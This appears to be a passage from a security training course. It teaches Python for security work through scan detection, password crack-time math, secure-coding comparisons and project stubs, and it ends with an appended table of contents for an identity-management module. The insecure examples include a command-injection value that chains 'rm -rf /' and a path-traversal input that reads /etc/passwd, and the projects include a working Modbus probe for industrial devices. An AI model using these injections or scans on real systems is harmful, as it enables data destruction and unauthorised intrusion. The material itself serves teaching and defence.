    {"cve": "CVE-2023-0179", "cvss": 7.8, "name": "Linux Kernel Privesc"},
    {"cve": "CVE-2021-4034", "cvss": 7.8, "name": "PwnKit"},
]
# Sort by CVSS score descending (critical first)
sorted_vulns = sorted(vulnerabilities, key=lambda v: v["cvss"], reverse=True)
for vuln in sorted_vulns:
    print(f"[{vuln['cvss']}] {vuln['cve']}: {vuln['name']}")

# Sort with multiple keys
hosts.sort(key=lambda h: (h["subnet"], h["host_part"]))

9.4 Practical Algorithms for Security

# Frequency analysis — which IPs are making the most requests?
from collections import Counter

with open("/var/log/nginx/access.log", "r") as f:
    ips = [line.split()[0] for line in f if line.strip()]

ip_counts = Counter(ips)
print("Top 10 IPs by request count:")
for ip, count in ip_counts.most_common(10):
    print(f"  {ip}: {count} requests")

# Sliding window — detect port scan (many ports hit in short time)
from collections import defaultdict
from datetime import datetime

connection_log = []  # List of (timestamp, ip, port) tuples

def detect_port_scan(connections, window_seconds=60, threshold=20):
    """Detect if any IP hit more than threshold ports in window_seconds."""
    ip_ports = defaultdict(set)

    for timestamp, ip, port in connections:
        ip_ports[ip].add(port)

    scanners = {ip: ports for ip, ports in ip_ports.items() 
                if len(ports) >= threshold}
    return scanners

# Deduplication while preserving order
def deduplicate(lst):
    seen = set()
    result = []
    for item in lst:
        if item not in seen:
            seen.add(item)
            result.append(item)
    return result

ips_with_duplicates = ["10.0.0.1", "192.168.1.1", "10.0.0.1", "172.16.0.1", "192.168.1.1"]
unique_ips = deduplicate(ips_with_duplicates)
print(unique_ips)                      # ['10.0.0.1', '192.168.1.1', '172.16.0.1']

# Chunking — process large lists in batches
def chunks(lst, size):
    """Split list into chunks of given size."""
    for i in range(0, len(lst), size):
        yield lst[i:i + size]

all_targets = [f"192.168.1.{i}" for i in range(1, 255)]
for batch in chunks(all_targets, 25):
    scan_batch(batch)                  # Scan 25 hosts at a time

9.5 Time Complexity — Why It Matters for Bruteforce

# Understanding time complexity determines if an attack is practical

# Character sets
lowercase = 26
uppercase = 26
digits = 10
special = 32
full = lowercase + uppercase + digits + special  # 94

# Password space calculation
def password_space(charset_size, length):
    return charset_size ** length

# How many passwords in a 8-character lowercase password space?
print(password_space(lowercase, 8))   # 208,827,064,576 (~208 billion)

# At hashcat speed for NTLM (360 billion/second on RTX 4090):
def crack_time_seconds(charset_size, length, hashes_per_second):
    space = password_space(charset_size, length)
    return space / hashes_per_second

speed = 360_000_000_000  # NTLM on RTX 4090
time = crack_time_seconds(lowercase, 8, speed)
print(f"8 lowercase chars, NTLM: {time:.3f} seconds")   # < 1 second!

time = crack_time_seconds(full, 8, speed)
print(f"8 full charset, NTLM: {time:.1f} seconds")      # ~7 seconds

time = crack_time_seconds(full, 12, speed)
hours = time / 3600
years = hours / 8760
print(f"12 full charset, NTLM: {years:.0f} years")      # ~millions of years

# This is exactly why password length matters more than complexity
# And why bcrypt/Argon2 are used (they slow the hashing down by factor of 100,000+)
bcrypt_speed = 100_000  # bcrypt cost 12
time = crack_time_seconds(lowercase, 8, bcrypt_speed)
years = time / (365.25 * 24 * 3600)
print(f"8 lowercase chars, bcrypt: {years:.0f} years")  # Thousands of years

10. Security-Oriented Programming Mindset

10.1 Think Like an Attacker When You Read Code

Every time you read code — whether it is someone else's application, a CTF challenge, or a piece of malware — ask these questions:

Where does user input come from?
input(), command-line arguments, environment variables, file reads, network data, database results — any of these can be attacker-controlled.

Where does that input go?
If input goes into a SQL query without sanitisation → SQL injection.
If input goes into a shell command → command injection.
If input goes into a file path → path traversal.
If input goes into a buffer without length check → buffer overflow.

What are the trust boundaries?
Which parts of the code run with elevated privilege? What can unprivileged input affect?

10.2 Writing Secure Code — The Basics

# INSECURE: Command injection vulnerability
import subprocess

def ping_host(hostname):
    # NEVER DO THIS — if hostname = "google.com; rm -rf /"
    os.system(f"ping -c 1 {hostname}")

# SECURE: Use subprocess with list arguments
def ping_host_safe(hostname):
    # Input validation first
    import re
    if not re.match(r'^[a-zA-Z0-9.-]+$', hostname):
        raise ValueError(f"Invalid hostname: {hostname}")
    # subprocess with list — no shell interpretation
    result = subprocess.run(
        ["ping", "-c", "1", hostname],
        capture_output=True,
        text=True,
        timeout=5
    )
    return result.returncode == 0

# INSECURE: Path traversal vulnerability
def read_file(filename):
    # If filename = "../../../../etc/passwd"
    with open(f"/var/www/files/{filename}") as f:
        return f.read()

# SECURE: Validate and resolve path
from pathlib import Path

def read_file_safe(filename):
    base_dir = Path("/var/www/files").resolve()
    file_path = (base_dir / filename).resolve()
    # Check that resolved path is still inside base directory
    if not str(file_path).startswith(str(base_dir)):
        raise ValueError("Path traversal attempt detected")
    return file_path.read_text()

# INSECURE: Hardcoded credentials
DATABASE_PASSWORD = "supersecret123"   # Never do this

# SECURE: Use environment variables
import os
DATABASE_PASSWORD = os.environ.get("DB_PASSWORD")
if not DATABASE_PASSWORD:
    raise RuntimeError("DB_PASSWORD environment variable not set")

10.3 Writing Reliable Security Scripts

import argparse
import logging
import sys
from datetime import datetime

# Professional script structure

def setup_logging(verbose=False):
    level = logging.DEBUG if verbose else logging.INFO
    logging.basicConfig(
        level=level,
        format='%(asctime)s [%(levelname)s] %(message)s',
        handlers=[
            logging.FileHandler(f"scan_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log"),
            logging.StreamHandler(sys.stdout)
        ]
    )

def parse_arguments():
    parser = argparse.ArgumentParser(
        description="Port scanner — educational example",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="Example: python3 scanner.py -t 192.168.1.1 -p 22,80,443"
    )
    parser.add_argument("-t", "--target", required=True, help="Target host or IP")
    parser.add_argument("-p", "--ports", default="80,443", help="Comma-separated ports")
    parser.add_argument("-T", "--timeout", type=float, default=1.0, help="Timeout in seconds")
    parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
    parser.add_argument("-o", "--output", help="Output file (JSON)")
    return parser.parse_args()

def main():
    args = parse_arguments()
    setup_logging(args.verbose)
    logger = logging.getLogger(__name__)

    logger.info(f"Starting scan of {args.target}")

    try:
        ports = [int(p.strip()) for p in args.ports.split(",")]
    except ValueError as e:
        logger.error(f"Invalid port specification: {e}")
        sys.exit(1)

    results = {}
    for port in ports:
        try:
            is_open = scan_port(args.target, port, args.timeout)
            results[port] = "open" if is_open else "closed"
            logger.info(f"Port {port}: {'OPEN' if is_open else 'closed'}")
        except Exception as e:
            logger.error(f"Error scanning port {port}: {e}")
            results[port] = "error"

    if args.output:
        import json
        with open(args.output, "w") as f:
            json.dump({"target": args.target, "results": results}, f, indent=2)
        logger.info(f"Results written to {args.output}")

    return 0 if any(v == "open" for v in results.values()) else 1

if __name__ == "__main__":
    sys.exit(main())

11. Hands-On Projects

These projects build directly on everything in this module. Complete them in order. Do not look up solutions until you have spent genuine time trying.

Project 1: Port Scanner (1.5 hours)

Build a TCP port scanner from scratch.

#!/usr/bin/env python3
"""
Port Scanner — Stage 0.5 Project 1
Build this yourself using the concepts from this module.
"""

import socket
import sys
from concurrent.futures import ThreadPoolExecutor

def scan_port(host, port, timeout=1.0):
    """Return True if port is open."""
    # Your implementation here
    pass

def scan_range(host, start_port, end_port, threads=100):
    """Scan a range of ports using threads."""
    open_ports = []
    # Use ThreadPoolExecutor for concurrent scanning
    # Your implementation here
    return sorted(open_ports)

def main():
    # Use argparse for argument handling
    # Accept: target host, port range, thread count, timeout
    # Output: list of open ports with service names (use socket.getservbyport)
    pass

if __name__ == "__main__":
    main()

# Required features:
# 1. Validate IP/hostname input
# 2. Handle connection refused, timeouts separately
# 3. Multi-threaded scanning
# 4. Show progress
# 5. Output results in a clean format
# 6. Optionally save to JSON

Project 2: Log Analyser (1 hour)

Parse an SSH auth log and produce a security report.

#!/usr/bin/env python3
"""
SSH Log Analyser — Stage 0.5 Project 2
Analyse /var/log/auth.log and produce security insights.
"""

# Your script should:
# 1. Parse auth.log line by line
# 2. Extract: timestamp, event type, username, source IP
# 3. Count: failed attempts by IP, failed attempts by username
# 4. Identify: IPs with > 10 failed attempts (potential brute force)
# 5. Find: successful logins after multiple failures (potential successful brute force)
# 6. Output: formatted report with counts and top attackers
# 7. Optionally: write report to file

# Sample output format:
# === SSH Security Report ===
# Period: 2026-05-29 00:00:00 to 2026-05-29 23:59:59
# Total events: 15,432
# Failed login attempts: 14,891
# Successful logins: 541
#
# Top 5 attacking IPs:
#   1. 45.12.34.56: 2,341 attempts
#   2. 89.45.67.89: 1,876 attempts
#   ...
#
# Suspicious: IPs with successful login after 10+ failures:
#   - 10.0.0.5: 47 failures, then 1 success for user 'admin'

Project 3: Subdomain Enumerator (45 minutes)

#!/usr/bin/env python3
"""
Subdomain Enumerator — Stage 0.5 Project 3
Discover subdomains using a wordlist and DNS resolution.
"""

import socket
from concurrent.futures import ThreadPoolExecutor

def resolve_subdomain(subdomain, domain):
    """Try to resolve subdomain.domain. Return IP if exists, None if not."""
    fqdn = f"{subdomain}.{domain}"
    try:
        ip = socket.gethostbyname(fqdn)
        return fqdn, ip
    except socket.gaierror:
        return None

def enumerate_subdomains(domain, wordlist_path, threads=50):
    """Enumerate subdomains using a wordlist."""
    # Read wordlist
    # Use ThreadPoolExecutor to resolve concurrently
    # Return list of (fqdn, ip) tuples for discovered subdomains
    pass

# Test with: python3 subdomain_enum.py -d example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# Wordlists are in /usr/share/seclists/ on Kali

Project 4: IOC Extractor (30 minutes)

#!/usr/bin/env python3
"""
IOC Extractor — Stage 0.5 Project 4
Extract Indicators of Compromise from text (emails, logs, reports).
"""

import re
import json
import sys

# Extract all of:
# - IPv4 addresses
# - IPv6 addresses  
# - Domain names
# - URLs (http and https)
# - Email addresses
# - MD5 hashes
# - SHA1 hashes
# - SHA256 hashes
# - File paths (Windows and Linux)

def extract_iocs(text):
    """Extract all IOC types from text. Return dict of IOC type → list."""
    # Your regex-based implementation here
    pass

# Usage: cat suspicious_email.txt | python3 ioc_extractor.py
# Or: python3 ioc_extractor.py -f malware_report.txt -o iocs.json

Project 5: Modbus Scanner (OT/ICS Specific — 2 hours)

#!/usr/bin/env python3
"""
Modbus TCP Scanner — Stage 0.5 Project 5
Discover and fingerprint Modbus TCP devices on a network.
This is directly relevant to OT/ICS security assessment.

Install: pip3 install pymodbus
"""

from pymodbus.client import ModbusTcpClient
import ipaddress

def probe_modbus(host, port=502, timeout=2):
    """
    Probe a host for Modbus TCP.
    Try to read device identification (function code 43/14).
    Return device info dict or None.
    """
    try:
        client = ModbusTcpClient(host, port=port, timeout=timeout)
        if not client.connect():
            return None

        # Try reading holding registers (function code 03)
        # Registers 0-9, unit ID 1
        result = client.read_holding_registers(0, 10, slave=1)

        info = {"host": host, "port": port, "responsive": True}

        if not result.isError():
            info["registers"] = result.registers

        client.close()
        return info
    except Exception as e:
        return None

def scan_subnet(subnet, threads=50):
    """Scan an entire subnet for Modbus devices."""
    network = ipaddress.ip_network(subnet, strict=False)
    found_devices = []

    # Your threaded implementation here

    return found_devices

# This scanner demonstrates:
# 1. Industrial protocol implementation in Python
# 2. Network scanning with proper error handling
# 3. Concurrency for performance
# 4. Structured output suitable for reporting

12. Further Reading and Resources

Books

"Automate the Boring Stuff with Python" — Al Sweigart (free at automatetheboringstuff.com). Practical Python without the academic fluff.
"Black Hat Python" — Justin Seitz. Security-specific Python — network sniffer, trojans, forensics tools. Directly applicable.
"Violent Python" — TJ O'Connor. Older but foundational — shows how to build security tools from scratch.
"Learning Python" — Mark Lutz. The comprehensive reference if you want deep language knowledge.

Online Resources

Python official docs — docs.python.org/3 — the most accurate reference
Real Python (realpython.com) — high quality tutorials
PyMOTW (pymotw.com) — Python Module of the Week — deep dives into standard library
regex101.com — test regex patterns interactively with explanation

Practice

Exercism.io (Python track) — structured exercises with mentor feedback
HackerRank (Python domain) — algorithmic challenges
PicoCTF — CTF challenges where Python scripting solves many problems
CryptoHack (cryptohack.org) — cryptography challenges solved in Python

Essential Security Libraries

# Install the core security Python toolkit
pip3 install \
    scapy \          # Packet crafting and analysis
    requests \       # HTTP library
    pwntools \       # CTF/exploit development
    impacket \       # Windows network protocols
    cryptography \   # Cryptographic operations
    paramiko \       # SSH client/server
    pymodbus \       # Modbus industrial protocol
    python-nmap \    # Nmap wrapper
    shodan \         # Shodan API
    volatility3      # Memory forensics

Stage 00 Complete — What You Now Have

With this module, Stage 00 — Foundations is complete. Here is what you have built:

Stage 00 — Complete
├── ✅ Hardware Fundamentals     — CPU rings, RAM attacks, firmware, physical security
├── ✅ OS Fundamentals           — Kernel, user/kernel mode, processes, file systems, syscalls
├── ✅ Windows Fundamentals      — Registry, services, UAC, Defender, PowerShell, Event Log
├── ✅ Linux Fundamentals        — Permissions, users, services, cron, SSH, logs
└── ✅ Programming Fundamentals  — Python, variables, loops, functions, files, regex, algorithms

What this foundation enables:

You understand why the stack smashing vulnerability works — because you know how memory layout works, what stack frames are, and what the instruction pointer does.
You understand why Pass-the-Hash works — because you know NTLM authentication, the Windows token system, and how credentials are stored in LSASS.
You understand why SUID exploitation works — because you know the Linux permission model, the difference between real and effective UID, and how the kernel enforces privilege boundaries.
You can write scripts that automate your work — because you have Python fundamentals and understand file I/O, error handling, and basic algorithms.

Next: Stage 01 — Network Fundamentals

The internet runs on protocols. Every attack crosses a network. Every defence monitors network traffic. Stage 01 builds the networking knowledge that everything from enumeration to exploitation to detection depends on.

Next Stage: Stage 01 — Network Fundamentals

Previous Module: Stage 0.4 — Linux Fundamentals

Stage Index: Stage 00 README

DEV Community: Rençber AKMAN

Identity Authentication and Access Management (IAM)

Table of Contents

1. Why This Module Matters

2. Foundations: Identity, Authentication, Authorization

3. Password Policies

3.1 First Principles

3.2 How Passwords Are Actually Attacked

3.3 Offline Cracking in Practice

3.4 What Modern Policy Actually Should Say

3.5 Defensive Controls

3.6 Forensic Evidence

3.7 OT/ICS Perspective

4. Multi-Factor Authentication (MFA)

4.1 First Principles

4.2 MFA Mechanisms, Ranked by Resistance to Modern Attacks

4.3 Attack Tooling You Must Know

4.4 Defensive Controls

4.5 Forensic Evidence

4.6 OT/ICS Perspective

5. Biometric Authentication

5.1 First Principles

5.2 How Matching Works Internally

5.3 Documented Attacks

5.4 Defensive Controls

5.5 Forensic Evidence

5.6 OT/ICS Perspective

6. Token-Based Authentication

6.1 First Principles

6.2 Stateful vs. Stateless Tokens

6.3 Anatomy of a JWT (JSON Web Token)

6.4 The Critical Vulnerability Class: alg=none and Algorithm Confusion

6.5 Defensive Controls

6.6 Forensic Evidence

6.7 OT/ICS Perspective

7. OAuth 2.0

7.1 First Principles — OAuth Is Authorization, Not Authentication

7.2 The Four Roles

7.3 The Authorization Code Flow (the only flow you should use for web apps)

7.4 PKCE — Why It Exists

7.5 Documented Real-World OAuth Vulnerabilities

7.6 Defensive Controls

7.7 Forensic Evidence

7.8 OT/ICS Perspective

8. OpenID Connect (OIDC)

8.1 First Principles

8.2 ID Token Structure (Decoded)

8.3 Documented Vulnerability Pattern: Missing aud Validation

8.4 Discovery and JWKS — How Trust Is Established at Scale

8.5 Defensive Controls

8.6 Forensic Evidence

8.7 OT/ICS Perspective

9. SAML

9.1 First Principles

9.2 The SP-Initiated Flow

9.3 Anatomy of a SAML Assertion (Simplified)

9.4 Golden SAML — The Most Important Attack in This Section

9.5 XML-Specific Attack Classes

9.6 Defensive Controls

9.7 Forensic Evidence

9.8 OT/ICS Perspective

10. Kerberos

10.1 First Principles

10.2 The Three Heads of Kerberos (named for Cerberus, the three-headed guard dog)

10.3 Golden Ticket Attack

10.4 Silver Ticket Attack

10.5 Kerberoasting

10.6 Pass-the-Ticket

10.7 Defensive Controls

10.8 Forensic Evidence

10.9 OT/ICS Perspective

11. NTLM

11.1 First Principles

11.2 The Challenge-Response Flow

11.3 Pass-the-Hash

11.4 NTLM Relay

11.5 Why NTLM Is Fundamentally Weaker Than Kerberos

11.6 Defensive Controls

11.7 Forensic Evidence

11.8 OT/ICS Perspective

6.4 The Critical Vulnerability Class: `alg=none` and Algorithm Confusion

8.3 Documented Vulnerability Pattern: Missing `aud` Validation